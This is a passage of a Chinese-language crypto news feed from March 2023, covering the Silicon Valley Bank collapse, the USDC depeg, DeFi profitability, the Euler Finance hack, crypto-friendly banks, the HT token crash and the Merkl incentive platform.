年之前——任何新成立的公司都没有机会获得银行关系，加密货币已经正式成为无银行账户。但中心化金融机构的监管失败和财务危机，会刺激更多加密原生资本依赖并信仰比特币等加密原生资产，未来区块链行业会更加减少对美元稳定币的依赖，拓宽区块链支付网络的通用性和稳定性，增加更多直接使用加密货币的支付场景，以此减少对中心化金融机构的依赖，R3PO坚信，未来必将诞生完全去中心化的银行，In Trustless we Trust。  ( 4 min )
    香港金管局：香港银行对SVB的风险敞口极少 对香港银行体系稳定不构成风险
    PANews 3月13日消息，硅谷银行事件持续发酵，香港金管局发言人表示，金管局一直密切留意SVB的事态发展，据该局了解，香港银行对SVB的风险敞口极少，对香港银行体系稳定不构成风险。金管局发言人重申，SiliconValleyBank在香港没有经营银行业务，只设有本地代表办事处。它并非认可机构，因此不能在本港经营银行或接受存款业务。 挪威主权财富基金表示，将密切关注硅谷银行（SVB）事件的事态发展。  ( 4 min )
    盘点半年内最赚钱的5个DeFi项目
    撰写：Poopman 编译：深潮 TechFlow 以下是最近六个月中最盈利的五个 DeFi 协议的列表，这些协议在去中心化金融行业中占据了重要的地位。这些协议的收益来自于各种收费模式，例如借贷、交易、做市等，以及通过代币激励来鼓励用户的参与和持有。让我们一起来看看这些协议的特点和收益情况。 “盈利”的定义 DeFi 的费用模式不同，但总体来说，DeFi 项目通过以下方式获得利润： 此外，DeFi 通过三个主要渠道分配利润： 尽管前两者可以归为协议收入，但 LP 利润是不同的。LP 利润是“供应方收入”，意味着利润被重新分配给在池中提供流动性的人。例如，Uniswap 每年产生超过 7 亿美元的费用，但它只是盈利，因为这些收入的大部分都返还给 LP。 为了评估项目的盈利能力，“收入”将是更好的指标，因为它们代表了在向 LP 分配费用后的“纯收入”。简而言之，收入 = 费用收入 - 代币激励。现在我们已经定义了“盈利能力”是什么，让我们深入了解。 MakerDAO 允许用户以 ETH/BTC/USDC/LINK 作为抵押品，并借出它的稳定币 $DAI，该稳定币与美元挂钩。 费用模型 当有人通过 MakerDAO 借款时，他们必须支付稳定费，这些费用用于购买 $MKR 并随后销毁。 在过去的六个月中，MakerDAO 从费用中产生了 725 万美元的收入。扣除 9.32 万 美元的代币激励后，MakerDAO 的收益总额为 716 万美元，稳居收益榜的第一。 第二名：Gains Network ~ 573 万美元 Gains Network 是一个建立在 Arbitrum 和 Polygon 上的衍生品交易平台，为用户提供加密货币和外汇交易选项，并提供杠杆交易。 费用模型 当用户打开、关闭或更新交易时，Gains 会收取一定的交易费。此外，还有展期费、资金费和清算费。在过去的六个月中，Gains 从费用中获得了700 万美元。然而，$GNS 没有提供任何激励，因此只需要支付 127 万美元的供应方费用。 这意味着 GainsNetwork 获得了大约 573 万美元的收益，位列最高收入者列表的第二位。 第三名：GMX ~ 364 万美元 GMX 是一个热门的永续合约交易平台，在 Arbitrum 上实现了低交换费用和零价格影响交易。用户可以在 GMX 上进行现货交易和交易永久期货，最高可杠杆达到 50 倍。 费用模型 GMX 将从交换和杠杆交易中产生的费用分配给那些持有 $GMX 并为 $GLP 提供流动性的人。在过去的 6 个月中，GMX 赚取了 6754 万美元的费用，其中 4727 万美元（70%）用于 GLP 持有者的供应方费用。剩余的 2026 万美元用作收入，但 1660 万美元 (82%) 用于代币激励。 尽管在熊市期间表现良好，但由于代币激励的高成本，GMX 的利润相对较小，仅在最赚钱的项目列表上获得了第三。 第四名：Convex ~157 万美元 Convex 是建立在 CurveFinance 之上的收益增强器。通过控制超过 50％的 veCRV，Convex 利用其治理权力在 Curve 中增加 CRV 奖励，从而增强收益。 费用模型 Convex 从 3CRV 收益、$CRV 和其他流动性挖矿奖励中获得收入。在过去的六个月中，Convex 赚取了 7051 万美元的费用，其中 80% 的收入（5631 万美元）流向 Curve LP 做市商。 剩下的 1417 万美元的收入主要用于代币激励 ($CVX)，仅剩 157 万美元的收益。 1inch 是一个基于 ETH 和 BSC 的非托管 DEX 聚合器。 费用模型 在过去的六个月中，1inch 创造了 197 万美元的收入。在扣除价值 69.3 万美元的代币激励后，1inch 的收益达到 127 万美元，稳居榜单第五名。  ( 5 min )
    美国联邦存款保险公司：将硅谷银行（SVB）所有存款转移至具有过渡性质的银行（Bridge Bank）
    PANews 3月13日消息，据金十报道，美国联邦存款保险公司表示，将硅谷银行（SVB）所有存款转移至具有过渡性质的银行（Bridge Bank）。具有过渡性质的“过桥”银行（Bridge Bank）恢复正常营业时间，任命Tim Mayopoulos为硅谷银行首席执行官。具有过渡性质的“过桥”银行（Bridge Bank）将继续提供网上银行、ATM服务。硅谷银行（SVB）客户的支票将被清算，贷款将被支付。  ( 4 min )
    USDC“脱锚FUD”结束，熊市下半场开始
    一、等待下一次发牌  USDC在今天做出了详细的信息披露，核心内容包括：      1）Circle在SVB的资金已经在转账序列中，按照FDIC规则，转账应该会在下周一完成。      2）仍不排除这笔资金不能到账的可能,但即使如此，也只是需要时间收回或者部分收回资金，并非全部损失。      3）即使上述情况发生，Circle也有能力填补损失保证1:1兑换。      4）剩下的现金存款中54亿在BNY Melon，10亿在Customers Bank  这些新的信息没有一个是坏消息，BNY Melon在之前的分析中属于低风险银行，Customers Bank属于中风险银行，而在SVB的33亿大概率也不会受到损失，即使极端情况发生，Circle也有能力填补缺口。如果以上信息属实，USDC不会有任何“资不抵债”的风险。 市场永远是对的，在这个时间节点上，0.96是一个让人非常舒服的价格，因为现在正好是一个时间节点，Circle-SVB驱动的投资机会的第一阶段已经结束，这一阶段的下注逻辑是【USDC究竟有没有偿付能力？】 大家都说德扑和炒币很像，德扑里面【位置】非常重要，在这次事件中也如此。按照之前的分析，USDC的合理价格在0.895-1.000之间，如果你在1.00（或是0.99）的位置兑换了USDC，那么你将拿到一个非常好的位置，但如果你在0.98的时候就已经抄底了USDC，你会有一个非常差的位置，这对你的后续操作会产生很大影响。  而现在当前USDC价格已经从昨天最低0.88回升到了0.96左右。在这个事件节点的这个价格给了所有人一个退出的机会，无论是多头还是空头，无论是浮盈还是浮亏，现在都是一个可以接受的退出节点。退出，然后等待下一个好的位置，然后下注（或者不下）。  可以看出，市场的信心明显增强，对USDC的定价也进入了合理区间。但0.04U的差额意味着市场仍然存在担忧，这部分担忧主要是对USDC挤兑的担忧。那么第二轮牌局的核心问题就是**【会发生挤兑吗？如果挤兑会发生什么？】**  USDC的价格走势也许存在变数，但下周会发生什么几乎是确定的：  **第一件必然事件是Circle会开放赎回通道。**两个原因，第一个是Circle的一切信息都指向这一点，Circle有能力保障1：1的全额兑付。第二个是Circle的流动资金足以支持它们这样做。即使只考虑BNY Melon和Customers Bank的资金，Circle也有64亿现金和100%的偿付能力，在不存在资金缺口的前提下，开放兑付是最快让币价回归稳定，消除FUD的方式。  **第二个必然事件是会出现大量赎回（你也可以把它称作【挤兑】）。**挤兑的需求包括两方面：（1）套利需求。只要USDC没有回归1U，套利机会就会存在。（2）避险需求。出于担心USDC及美国银行的系统性风险将USDC换为法币。  那么在Circle开放赎回的前提下，拥有套利能力的机构或者用户会不断地把自持的USDC和在二级市场购买的USDC源源不断地进行赎回。这些套利行为会推高USDC的价格，减小价差。  如果事情进展得比较顺利，Circle会失去一些的USDC发行规模，换回USDC的价格稳定和市场信心，USDC回升到0.99或者1.00（可能会是0.99是因为市场信心的扭转不是一蹴而就的）。  当然也有不顺利的情况（虽然概率很小），比如第一天就出现了过高的赎回额导致赎回缓慢或暂停、金融市场波动引发进一步的恐慌。在这种情况下，USDC价格会在上升后再有一波下滑，但我仍然认为它最终会回到0.99/1.00，原因很简单，因为Circle有1：1的兑付能力，赎回可能会减慢，但不会被中止。  这里顺带一提，CZ这几天反复抨击银行的不可靠性，但BUSD只有有6亿资金保存在银行中，合作伙伴中也包含Silvergate（不代表有资金存在Silvergate）。而Circle是111亿，事实上虽然出问题的是Circle，但这只是幸存者偏差，Circle的方案并无问题。从这个角度看，USDC暴雷，而其它更加中心化或者不透明的稳定币存活是非常讽刺的。 第三个必然事件是USDC不会被全部赎回。两个原因，第一是随着Circle赎回通道的开放和USDC的回锚，市场信心会逐步增强。第二点是USDC还有许多被动持有需求，例如Maker的PSM模块、跨链桥锁定资产、待清算资产（如FTX、Voyager）、dydx的合约锁定资产，这些USDC即时要退出也需要一定的时间，并不会在开放的那一刻马上退出，这些资金的总额已经远远超过了33亿。这场赎回持续多久、赎回量多大目前无法判断，个人看法是发行总量的10%-30%，即40-120亿。 所以我更倾向于把周一将发生的事情称作【大规模赎回】而非【挤兑】，【挤兑】的前提是没有充足的准备金，或是提现量高于准备金，这个前提条件对Circle来说并不适用。  尽管USDC大概率会很快回到1.00/0.99，Circle暴雷的风险也几乎为0，但对于接下来的市场来说，影响才刚刚开始。  第一个影响是对市场流动性产生打击。就算USDC很快回锚，这个过程会带来大量USDC流失，同时恐慌情绪和避险需求不会消失，在未来的几个月里，包括USDC在内的各类稳定币仍有可能持续流失。而当前市场已经是一个极度缺乏流动性的状态，稳定币的流出会让就本不富裕的市场雪上加霜。  第二个是对市场的连环打击。对于用户来说，USDC事件会让它们对加密生态的不信任加剧，圈外资金观望情绪加剧。对于项目方和VC来说，它们需要面临更复杂的资金保管问题和更高的成本，恐慌也会让它们寻求更高流动性的投资组合（例如减少Alts，增加BTC和法币），同时悲观情绪会让所有人在投资上（无论一级还是二级）变得更加谨慎。此外，还有许多项目和USDC本身就具有强关联（如Maker/Frax），它们会受到更加直接的冲击。  第三个是监管和合规市场层面。【假】好学生FTX出问题也就算了，【真】好学生Circle现在也陷入了麻烦，接下来如何去向监管以及用户讲合规的伟大愿景？  Circle事件的结束会是新一轮流动性枯竭的开始，加密市场也要开始新一轮发牌，接下来大家需要做的，就是拿到一手好牌，或者拿到一个好位置。  欢迎来到熊市下半场。  ( 4 min )
    德国联邦金融监管局（BaFin）已下令关停硅谷银行德国分行
    PANews 3月13日消息，据金十报道，德国联邦金融监管局（BaFin）已下令关停硅谷银行德国分行。BaFin表示，硅谷银行德国分行的困境不会对金融稳定构成威胁，硅谷银行德国分行不具有系统性影响力。  ( 4 min )
    借贷协议Euler Finance遭到攻击，损失已达1.97亿美元
    PANews 3月13日消息，独立安全研究员CIA Officer在推特上表示，据安全团队BlockSec监测，DeFi借贷协议Euler Finance遭到攻击，据统计，Euler Finance 在本次黑客闪电贷攻击事件中的受损金额约为 1.97 亿美元，其中包括 8,877,507.35 枚 DAI、849.14 枚 WBTC、34,413,863.42 枚 USDC、85,818.26 枚 stETH。 去年6月，Euler Finance完成Haun Ventures领投的3200万美元融资。 相关阅读：一文读懂Euler Finance：支持高风险资产的下一代DeFi借贷协议  ( 4 min )
    对Web3游戏现状的思考及趋势预测
    作者：Ben 编译：Biteye 核心贡献者 Crush 我在 2021 年底和 2022 年初花了大部分时间来研究 Web3 游戏风投。以下是一些关于 Web3 游戏的思考，以及我的观点是如何随着时间的推移而改变的。 与Web2游戏类似，Web3游戏的风险投资回报也有肥尾效应——投资者要么获得超额利润，要么遭受大量损失。 这也是为什么投资于单一IP是高风险的。你只有一次机会来使它成功。 （译者注：Fat-tail returns，又称肥尾回报，通常用于描述资产价格波动性的极端事件，即那些具有低概率但高影响力的事件。例如，股票市场中的突然暴跌或者暴涨、汇率市场中的外汇大幅贬值或升值等。） 虽然近期对 Web3 游戏的投资大幅放缓，但我们仍然发现许多美国工作室从专门的游戏基金中筹集了 2000 万至 3000 万美元的种子轮资金。这些团队都曾获得过一线链游工作室的青睐，如 Activision Blizzard，Riot Games 等等，投资者更倾向于选择有开发经验的团队。 这么做是正确的，因为 Web3 游戏具有以下特点： 顶级游戏通常有 12 个月的生命周期。考虑到代币通常有 3-4 年解锁期，等到投资者的代币开始解锁时，价格可能会出现大幅下滑，低于他们的心理预期。 游戏通过可玩性来吸引用户，这可能会导致向 AAA 游戏转变。对于没有任何过往记录的早期创业者来说，融资也变得更加困难。 从本质上讲，Web3 游戏是一种娱乐产品，成熟的市场历来对这些产品具有巨大的影响力，因为其具有软实力和先发优势。 投资者将专注于投资多元化的工作室而非单款游戏，以此来降低风险并增加游戏成功的几率。 投资多元化的工作室可能需要投资者适应股权投资，但是根据投资结构，投资者也会获得相应的代币，以参与工作室未来发布的游戏，并获得相应的收益。 （译者注：这里的多元化工作室指的是一个游戏开发工作室开发和发行多个游戏，而不是仅仅依赖于单个游戏知识产权，这样可以降低因为单个游戏的不成功而导致的经济风险。） 游戏基础设施将构成该行业投资策略的重要组成部分 - 投资者可以在不承担任何多个或单个游戏风险的情况下接触到整个行业。 游戏基础设施可能采取游戏区块链、SDK 和游戏分发平台等形式。 我认为这些游戏基础设施平台的成功将取决于由谁构建它们，比如具有大量游戏知识产权库的游戏工作室进入了这些平台后，自然而然地就能够推动平台的使用。 除了 Web3 常见的 P2E（Play-to-earn，边玩边赚），我们将看到更多传统的用户获取策略，例如带有用户层面指标（用户终身价值、用户获取成本、用户平均收益、用户流失）的付费广告将越来越多地用于 Web3 游戏。 基础设施项目将在下一个周期中建立，通过结合玩家链上和链下数据，帮助 Web3 游戏更好地了解自己的玩家，帮助游戏了解其广告活动的有效性和 RoAS（广告支出回报率）。 本文提到了 Web3 游戏具有高风险的特点，但也存在着无法达到投资者预期的风险。未来的几个趋势包括注重游戏的可玩性、顶级IP拥有成熟的市场、多元化的投资偏好、游戏基础设施得到重视以及付费广告应用于Web3 游戏中。 未来的 Web3 游戏还是需要经验丰富的开发团队和高要求的运行质量！  ( 4 min )
    三家加密友好银行倒下，美国还剩下哪些加密友好型银行？
    每个3·12都值得加密世界纪念。 上周三，Silvergate Capital宣布结束运营并进行最终清算；上周五，SVB（硅谷银行）在遭受420亿美元挤兑后宣布倒闭；而在3月12日，Signature Bank被监管部门直接关闭。 受此一连串的暴击，比特币最低跌到2万美元以下，而USDC遭受短暂“脱锚”波动，在紧急救市措施出台后，目前整体市场已经回暖，但更严峻的考验已经到来。 越来越多的银行会在市场波动和监管趋紧的双重逼迫下远离加密市场，作为出入金的重要通道，目前美国有哪些加密友好型银行？ 美国曾一度是对加密银行最为宽容的经济体，The Block曾在2020年总结了一份加密友好型银行名单，其中既有摩根大通这样的顶级银行，也有Silvergate Capital和Signature Bank这种传统意义上的社区零售银行。 但是FTX的崩溃改变了一切，2023年1月份，美国三个银行业监管部门，美联储、货币监理署（OCC）和联邦存款保险公司（FDIC）联合发表了一份声明，希望银行最好不要参与加密相关业务，并且严格审查各项业务的合规性。 在此背景下，多个跟加密业务，尤其是FTX关系密切的银行选择退出加密市场。 •摩根大通 摩根大通自身推出了Onyx系统，该系统允许多银行、多货币资产在许可的分布式账本上进行即时转移和清算。2022年2月，摩根大通上线Decentraland，成为第一家在元宇宙中设置服务的银行，此外，还专注于提供加密货币支付服务，如加密货币支付处理、区块链技术解决方案等。 然而，在2023年3月，摩根大通公司宣布断绝与加密货币交易所Gemini的关系，其后Gemini否认这一说法。而Coinbase也表示将继续和摩根大通合作。 •Metropolitan Bank Holding Corp 2023年1月9日选择完全退出加密市场，加密业务占营业收入的 1.5%，加密存款占总存款的 6%，在 2023 年将会结束和最后四个加密客户的业务关系。 自 2019 年以来，Metropolitan Bank宣称没有吸引新的加密货币客户，但希望保留现有加密货币客户的存款，而在监管文件下发后，预期会彻底退出加密市场。 •Moonstone Bank（Farmington State Bank） 截至2023年1月，该银行大约有几十个加密货币客户，所有的加密账户已经被事实上关闭。 一年前，2022 年 1 月 Moonstone从SBF的 Alameda Research 获得了 1150 万美元的投资。在巴哈马，清算人发现 Moonstone 在两个账户中持有近 5000 万美元的 FTX 存款，目前这些资金的状况不明。根据巴哈马清算人2022年12 月提交的一项动议，Moonstone 的高管拒绝向调查人员提供有关账户的详细信息。 目前，Moonstone宣布“正在回归其作为社区银行的最初使命，并停止追求创新驱动的商业模式，不再为加密行业提供银行服务。” •Provident Bank 该银行负责加密业务的主体是BankProv，其涉及加密领域的业务方向主要是矿业，为加密企业提供使用存款、贷款、电汇和 ACH 转账、实时支付和远程存款等服务。此外，通过初创公司 Treasury Prime 为加密企业提供 API 连接BankProv。 截止2022年末，其加密矿业贷款组合减少至4120万美元，或者下降50%，2022年Q3季度亏损为2750万美元，因此BankProv将逐步退出加密矿业贷款业务。 •Evolve Bank & Trust 在FTX的“牵连”之外，BlockFi也对Evolve Bank & Trust造成了严重伤害。Evolve 之前为 BlockFi 的客户发行信用卡，并且对 FTX 有一定的风险敞口。 Evolve自述没有向FTX或其附属机构提供贷款服务，Evolve也没有对加密货币进行过投资或交易行为。 在以上四家意志不坚定的银行之外，还依然存在数家和加密行业共进退的真友好银行。 •The Bank of New York Mellon（纽约梅隆银行） 纽约梅隆银行是世界上最大的资产托管机构，目前保管超过43万亿传统资产，日清算额在2万亿美元以上，并且是美国政府债券的独家结算代理商。 2022年3月，稳定币USDC发行商选择纽约梅隆银行作为托管方，在Signature关闭后，Circle将使用纽约梅隆银行进行结算。 •Customers Bank Customers Bank 使用其自研的 CBIT 代币在客户之间交换美元现金。 CBIT代币可以与 TassatPay 支付平台结合使用，是一种基于区块链技术的B2B即时转账系统。 得益于区块链交易的实时性和安全性，银行可以吸收受益于大量低成本存款，提供巨大的流动性和扩大的净息差，以推动积极的贷款增长。该银行在2021年第三季度收益报告中宣布了 15 亿美元的存款来自加密货币业务。 在FTX事件后，Customers Bank 宣布和FTX或任何关联公司均无存款或其他业务往来，也没有向机密行业内的任何客户提供贷款。 在SVB和Sinagture Bank纷纷倒闭后，USDC发行方Circle依然在Customers Bank 存放有部分储备金。 •Cross River Bank 2022年4月，Cross River Bank 完成由a16z领投的 6.2 亿美元融资。其主要业务模块为BaaS（Banking as a Service，银行即服务）。BaaS 组件涵盖支付，其中包括刷卡、账户转账和实时支付。可以为活期存款账户、储蓄账户以及信用卡和借记卡提供服务。 Coinbase和Circle均是其客户，Circle是在SVB之后，宣布2023年3月13日开始，Cross River Bank为客户提供铸造和赎回USDC的服务。 •Pathward 跟Cross River Bank类似，也是提供BaaS（银行即服务）的银行，跟Coinbase合作较为紧密，也是Coinbase Card的合作发行商，为其提供信用卡发行相关服务。 Pathward也是FDIC注册银行，为客户提供25万美元以下的存款保险服务。 在直接为加密企业或客户提供服务的银行外，还存在着一种特殊的银行体系，用间接或者和合作的方式接触加密企业。 •FirstFoundation Bank First Foundation Bank 与NYDIG 合作，允许用户通过应用程序进行比特币交易，客户可以购买、出售和持有比特币。但客户并不真正拥有任何特定的、链上的、可识别的比特币，而是反映在个人NYDIG 比特币账户中的特定数量和权益。 同时，NYDIG 将所有客户比特币销售的资金转给银行，银行比特币销售收益存入您选择的First Foundation Bank 个人账户，以完成交易。 •Sutton Bank Sutton发行支持CashApp和预付卡（Prepaid Card），以此来间接支持加密服务。但官方说明，Sutton Bank只是作为卡发行方，用户可以自行使用CashApp来使用卡内资金，但是任何APP内资金历史记录都无法通过网银账户查询。 而关于Robinhood的借记卡（Debit Card），Sutton不承担任何客户支持功能，完全由Rboinhood自行设置用卡协议。 •Quontic Bank Quontic Bank将比特币作为刷卡满额的返利奖励形式，用户最低存款要求为500美元，将会把每次进行的消费金额的1.5% 以美元计价的比特币作为奖励累积。但是ATM 取款、转账、账单支付、ACH 支付和电汇不会赚取比特币奖励。 本次银行暴雷，除了影响美国自身银行体系之外，也对其他地区的银行系统也造成了一定的冲击，受限于监管政策，并非所有的银行都可以涉及美元服务，但是总算留了一线希望，其中主要的是欧洲部分银行，尤其是瑞士银行，比如，SEBA和Sygnum这两个主要的加密友好型银行，以及Vontobel、Swissquote等传统大型银行。 还有一众欧洲小国，比如爱沙尼亚的LHV Pank，斯洛文尼亚的Gorenjska Banka，列支敦士登的Bank Frick，拉脱维亚的BlueOrange Bank。 以及离岛国家，比如瓦努阿图的PacificPrivate Bank，巴哈马群岛的DeltecBank和Ansbacher。 总体上，美国的银行业将迎来一次较大范围的转向，2020年OCC（货币监理署）曾经推出支付特许状，允许Kraken/Paxos等加密企业可以进入国家金融体系。 而在FTX暴雷以及上周的三家银行倒闭后，监管政策已经抢先介入银行体系，未来是否会有银行再次拥抱加密企业，只能拭目以待。  ( 5 min )
    美股第一共和银行盘前进一步跌超60%
    PANews 3月13日消息，美股第一共和银行盘前进一步跌超60%。继硅谷银行后，该行上周晚些时候亦遭到挤兑。 今日早些时候消息，该银行表示，未使用的流动性资金超过700亿美元，财务状况非常稳健。  ( 4 min )
    美股第一共和银行盘前跌超30%，该行上周晚些时候曾遭挤兑
    PANews 3月13日消息，据金十报道，美股第一共和银行盘前跌超30%，继硅谷银行后，该行上周晚些时候亦遭到挤兑。 今日早些时候消息，该银行表示，未使用的流动性资金超过700亿美元，财务状况非常稳健。  ( 4 min )
    HT暴跌穿仓激起千层浪，孙宇晨豪掷1亿美元增强流动性
    3月10日，受美国硅谷银行（Silicon Valley Bank,简称 SVB）倒闭影响，再加之此前有消息称，拜登将提议改变加密货币交易的税收待遇，以筹集240亿美元。加密市场全线下跌，比特币跌破 2 万美元创近两月新低。 大环境颓势，利空消息频出，再次引发加密投资市场剧烈波动。当天Coinglass数据显示，3月10日全网爆仓2.79亿美元，其中比特币爆仓1.04亿美元，以太坊爆仓6994.36万美元。HT更是在3月10日凌晨5点跌至0.3138 USDT，爆仓高达277.33万美元。 一时间，“什么年份了，插针插成这样”、“还是孙割熟悉的味道”、“孙哥砸盘放弃火必跑路”等负面舆论将易主不久的火必和对外声称是火必全球顾问委员会成员的孙宇晨再次推上风口浪尖。不过，究竟是波动引发的插针还孙割又挥起韭菜的镰刀，终究得用事实说话。 HT暴跌穿仓后，孙宇晨第一时间发布推特对此事进行解释，他表示：此次火必交易所运营一切正常，钱包正常，运营正常，后台正常。只因为现货、合约HT代币有部分用户触发杠杆连环爆仓的盘面现象。目前各项工作正稳步开展，并无任何突发现象，仅仅属于市场行为与波动。 对于这一解释，用户似乎并不买账，纷纷在该条推特评论中表达了强烈的不满。“本来想接着投资HT的，这下看清楚了孙割的本来面目”、“孙割还是那个孙割，火必已经不是以前那个火币了”、“火币一切都正常，就是用户钱没了”...这些言论透露着对火必这个老牌交易所的失望，也让孙哥割韭菜的负面形象再次被实锤。 不过，三人成虎，舆论往往掩盖了真相的全貌。火必是否真的如孙哥所说一切正常，插针穿仓仅仅属于市场行为与波动，还是需要客观的数据来佐证。据此前火必官方及CoinMarketCap数据，火必近一个月日均交易量为2,954,910,255.87 USDT，火必今日24小时交易量为3,310,761,162USDT。火必官网资产审计数据显示，截止至2023年3月1日，火必钱包资产为193,870,908 HT，火必用户资产188,224,182HT，HT资金储备率为103%。 从目前公开的数据理性分析，火必平台相关交易数据处于正常水平，HT的资金储备也能实现用户的100%兑付。数据不会骗人，真相自在人心，孙哥推特所说确实不是虚言。蒙受巨大损失的用户，为宣泄情绪出现上述言论，也都是可以理解的，但真相定会剥丝抽茧，慢慢浮出。 虽然，火必公开的数据揭开了真相，但事态的发展并没有想象中乐观。 就在针对此事解释的推特发布1小时后，孙宇晨便再度发推表示：“对于HT市场波动所导致杠杆穿仓损失，火必平台将全额承担。对于少数用户杠杆清算所造成盘面波动影响，我们深表歉意，为了进一步提升火必平台多币种流动性，我们将出资1亿美元成立流动性基金，持续改善主流币，HT流动性深度，加强杠杆预警与流动性能力，对于本次事件，我们会就后续进展与社区保持同步。” 虽然孙哥以较快的速度表达歉意，表示火必将承担所有损失，还将出资1亿美元保障HT流动性及深度。但舆情的发酵速度要远比想象的快，不止是用户，包括：Nansen、CoinDesk等海外知名机构及媒体也开始从孙宇晨的火必链上转账记录做文章。 Nansen曾发推表示，Justin Sun（孙宇晨）在过去24小时（3月9日）内从Huobi（火必）提取了约6000万美元的以太坊稳定币。此消息一出，很难不让人将此与HT的穿仓暴跌产生联系。对此，孙哥没有快速发文回复，而是直接豪掷1亿美元，用行动说话。 据Coindesk报道，北京时间3月10日11时27分，标记为孙宇晨的链上钱包地址已向火必转入1亿枚USDC，以防止HT断崖式下跌，同时全方位增强火必站内资产流动性。 随后，针对6000万美元转账一事孙宇晨也做出了回应，他表示：提款为其自有资金，属于个人行为，与火必平台无关。另外，提款行为发生在HT异常波动之前，无法也不能预测到10日凌晨发生的事件。目前，该回应已得到Nansen和CoinDesk证实。 就在事发后的两天，据火必相关社群消息，针对此事件火必已完成90%以上客户的赔付，并由火必大客户经理进行点对点的解决。从此前流出的聊天记录来看，火必本次将对用户损失进行全额赔付还是十分有诚意的。 至此，HT暴跌穿仓事件也因火必的全额赔付“一锤定音”。在这件事上，从数据、事实、赔付的角度出发，大概率是由宏观环境引起的剧烈市场波动造成的，用户因孙宇晨此前的风评，就将全部“罪责”都归在他和火必身上，确实有失偏颇。而且若真想割韭菜跑路，他又何必往火必转入1亿美元？火必又何必全额赔付呢？ “欲戴其冠，必承其重”，希望火必能在孙宇晨的带领下顶住压力，还用户一个合规、安全、透明的交易环境。HT也能一扫颓势，给市场新的惊喜。  ( 4 min )
    IMF警告G20国家：加密货币的广泛使用或会导致银行失去存款并减少贷款
    PANews 3月13日消息，据CoinDesk报道，国际货币基金组织 (IMF) 已警告G20国家，加密资产的广泛使用可能导致银行失去存款并减少贷款。IMF于2月份在印度举行的一次会议上向20国集团提交了关于“加密资产的宏观金融影响”的报告，该报告于周一公布，几天前，对加密友好的银行Signature Bank、硅谷银行 (SVB)和Silvergate Bank相继倒闭。 报告称：“加密资产的广泛使用给货币政策的有效性、汇率管理、资本流动管理措施以及财政可持续性带来了巨大风险。此外，央行储备和全球金融安全网可能需要改变，从而带来潜在的不稳定。最后，银行可能会失去存款，不得不减少放贷。”该报告还指出，“尽管具体风险的重要性和相关性因国家情况而异，但加密资产存在许多风险。”不过，该报告还指出，尽管存在“显著风险，加密资产已经开发出公共部门可以利用的技术来实现其自身的政策目标”。  ( 4 min )
    软银：硅谷银行几乎没有对受软银愿景基金支持的公司产生影响
    PANews 3月13日消息，据金十报道，软银集团表示，硅谷银行的溃败几乎没有对受SVF（软银愿景基金）支持的公司产生影响。软银还表示：“预计硅谷银行不会对我们的财务状况造成影响。”  ( 4 min )
    一文读懂Merkl：如何在Uniswap V3上搭建新的激励范式？
    原文：《在激励层做文章，了解Merkl如何在Uniswap V3上搭建新的激励范式》 作者：Jaleel 为了激励集中流动性 AMM 中的流动性，Angle 推出了 Merkl，一个新的激励 Uniswap V3 类型流动性资金的机制平台。任何 DAO 或个人都可以在 Merkl 定制激励 Uniswap V3 的类型和方式，包括设置自己的分配参数来鼓励更严格的范围等等。Merkl 能凭借这些新功能，成为最有效和灵活的方式激励 Uniswap V3 矿池吗？ Angle 是一个于 2021 年 11 月 推出的去中心化、资本高效和超额抵押的稳定币协议，在 2021 年 9 月 28 日，完成 由 a16z 领投的 500 万美元种子轮融资，Fabric VC、Wintermute、Divergence Ventures 等参投。Angle 可用于发行称为 agTokens 的稳定币，旨在反映它们所挂钩的资产的价值。该协议由几个不同的模块或智能合约集组成，可以从中发行或铸造稳定币。 Angle 在推出其第一个带有单一铸币模块（核心模块）的稳定币 agEUR 的同时，也引入了一个允许借入 Angle 稳定币作为抵押品的借贷模块。该协议还参与了直接存款模块，也称为算法市场操作 (AMO)，允许它在其他协议中增强 agTokens 的流动性。 虽然 Merkl 机制是由 Angle Labs 构建和维护的，但它与 Angle 协议是分开的。 从本质上讲，Merkl 是一个激励 Uniswap V3 类型流动性资金的机制平台，Uniswap V3 上的流动性提供者 (LP) 和其他类型的具有集中流动性的 AMM 可以从一个或多个池中激励流动性的人 (incentivizors) 那里获得补偿。 激励者在如何分配奖励方面享有极大的灵活性：他们可以选择对提供更多单一代币流动性的 LPs 进行更多的奖励，或者也可以更好地奖励那些设定了紧密的范围并从其位置获得更多交易费用的 LPs。他们还可以选择是否要激励超出范围的流动性，或者是否要让某些特定代币的持有者获得加强的奖励。 使用 Merkl 无需承担任何资金风险，也不需要 LPs 执行任何特定的智能合约交互：他们可以保留流动性，同时仍然获得奖励。他们还可以自定义自己的仓位，以最大化从费用和激励中获得的收益，享受 AMMs 集中流动性类型所提供的所有可能性。 Merkl 与 Gamma 或 Arrakis 等流动性仓位管理者兼容。这意味着可以通过 Gamma 在池子上提供流动性，并获得奖励，而无需执行任何进一步的操作（无需抵押 Gamma 或 Arrakis 代币）。因此，在池子上没有其他流动性提供者的情况下，使用 Merkl 来激励池子与通过抵押合约激励 Arrakis 或 Gamma 代币完全相同。 Merkl 对激励收取低维护费用。除了在领取奖励时消耗的燃气外，流动性提供者使用该平台没有任何成本。 Merkl 基于一个非链脚本，可在给定链上查看受激励的池的数据，为所有这些池的利益相关者计算奖励。基于此，脚本将所有奖励分配数据聚合到一个 Merkle 树中，然后压缩为 Merkle 根，推送到链上，以允许 LPs 获取其奖励。该脚本每次定期运行，并每次固定时间段。这意味着每次运行脚本时，它只查看与此特定时间段相关的链上数据。 可定制的分配公式 严格来说，对于一个有两个令牌（A 和 B）的池，脚本会查看在运行期间在池中发生的交换，并根据持仓期间赚取的手续费（代表池使用的流动性）、在池中掉期期间持有的 TOKEN A 和 TOKEN B 份额计算奖励分数。激励者可以为每个参数分配不同的权重，也可以通过允许持有特定令牌（例如 veANGLE 或 veCRV）的地址获得更高奖励，来进一步定制池的奖励分配。在一个特定的时间段内，该池内位置的确切分配公式如下： 纪元长度 & 争议期 脚本运行的时间周期（也称为纪元）取决于链条，也是两次奖励分配之间的实际时间。纪元长度基本上在 2 小时到 3 天之间，例如如果以太坊的纪元长度为 1 天，那么 Uniswap V3 LPs 可以在 Merkl 上每天最多获得新奖励。 由于 Merkl 基于的脚本聚合了同一条链上所有支持的 AMM 的所有池，对不同池有流动性的液性提供者可以在每个纪元结束时一次性获得全部奖励。此外，由于系统依靠单个 Merkle 根处理每条链的分发，流动性提供者可以在一次交易中获取所有令牌奖励（来自潜在的许多集中流动性 AMM 上的不同池）。 为了允许任何人无需批准就可以参与到系统中，并且减少系统面临潜在黑客攻击或故障的风险，每个新的 Merkle 